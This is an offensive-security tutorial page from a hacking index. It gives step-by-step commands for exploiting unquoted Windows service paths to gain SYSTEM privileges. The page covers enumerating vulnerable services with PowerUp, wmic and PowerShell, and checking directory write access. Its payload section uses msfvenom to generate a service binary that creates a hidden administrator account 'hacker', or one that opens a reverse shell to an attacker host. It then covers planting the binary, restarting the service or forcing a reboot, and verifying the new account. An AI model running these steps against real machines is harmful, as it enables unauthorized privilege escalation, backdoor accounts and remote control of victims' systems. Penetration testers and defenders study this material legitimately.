# Unquoted Service Path Privilege Escalation

> Exploits Windows services with unquoted executable paths containing spaces, allowing malicious binary placement for SYSTEM-level code execution.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/unquoted-service-paths
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-05-03

When a Windows service binary path contains spaces and is not enclosed in quotes, the Windows service control manager tries multiple path interpretations. For a path like `C:\Program Files\Some App\service.exe`, Windows tries `C:\Program.exe`, then `C:\Program Files\Some.exe`, then `C:\Program Files\Some App\service.exe`. If you can write to any intermediate directory, planting a binary at an earlier resolution point gives you SYSTEM code execution.

## Prerequisites Check

```bash
whoami /all
```

You need write access to at least one directory in the service path before the actual binary. Check available drives and writable directories:

```bash
icacls "C:\Program Files" 2>nul
icacls "C:\Program Files (x86)" 2>nul
```

## Step 1: Find Unquoted Service Path Exploit Targets

**Using PowerUp:**

```powershell
Import-Module .\PowerUp.ps1
Get-UnquotedService
# Get-ServiceUnquoted on old PowerUp
```

**Manual enumeration: find all unquoted paths with spaces:**

```bash
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
```

Or check all services:

```bash
wmic service get name,pathname | findstr /v """  | findstr " "
```

**PowerShell alternative:**

```powershell
Get-WmiObject -Class Win32_Service | Where-Object {
    $_.PathName -notmatch '"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows\\'
} | Select-Object Name, PathName, StartMode
```

## Step 2: Understand the Resolution Order

For a path like:

```bash
C:\Program Files\Vulnerable App\service.exe
```

Windows tries in order:

1. `C:\Program.exe`
2. `C:\Program Files\Vulnerable.exe`
3. `C:\Program Files\Vulnerable App\service.exe`

You need write access to `C:\` to plant `Program.exe`, or to `C:\Program Files\` to plant `Vulnerable.exe`.

**Check write access to each intermediate directory:**

```bash
icacls "C:\" 2>nul
icacls "C:\Program Files" 2>nul
icacls "C:\Program Files\Vulnerable App" 2>nul
```

Look for `(W)`, `(M)`, or `(F)` for your user, `BUILTIN\Users`, or `Everyone`.

**Using accesschk:**

```bash
accesschk.exe -uwdqs Users "C:\" /accepteula 2>nul
accesschk.exe -uwdqs "Authenticated Users" "C:\Program Files" /accepteula 2>nul
```

## Step 3: Determine the Binary Name

The binary name is everything before the first space in each path segment. For:

```bash
C:\Program Files\Vulnerable App\service.exe
```

The candidate binaries are:

- `C:\Program.exe`
- `C:\Program Files\Vulnerable.exe`

Use whichever directory you can write to.

## Step 4: Create the Malicious Binary

```bash
# On attack box: create service-compatible EXE
msfvenom -p windows/x64/exec CMD="net user hacker Password123! /add && net localgroup administrators hacker /add" -f exe-service -o Vulnerable.exe

# Or reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe-service -o Vulnerable.exe
```

Transfer to target and place in the writable directory:

```bash
copy C:\Windows\Temp\Vulnerable.exe "C:\Program Files\Vulnerable.exe"
```

## Step 5: Restart the Service

```bash
sc stop VulnerableService
sc start VulnerableService
```

Or reboot if restart is not available:

```bash
shutdown /r /t 0
```

## Step 6: Verify

```bash
net user hacker
net localgroup administrators
```

## Why `C:\Program Files` Is Often Writable

On misconfigured systems, `BUILTIN\Users` has write access to custom application directories under `Program Files`. Standard Microsoft applications are protected, but third-party installers frequently set weak permissions on their installation directories.

Always check custom application paths specifically: `C:\Program Files\ThirdPartyApp\` is more likely writable than `C:\Program Files\` itself.

## Cleanup

```bash
del "C:\Program Files\Vulnerable.exe"
```

## References

- [Windows Service Binary Path](https://docs.microsoft.com/en-us/windows/win32/services/service-binary) - Microsoft Docs Path resolution behavior for service executables with spaces.
- [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) - Get-ServiceUnquoted Automated unquoted path detection with write permission validation.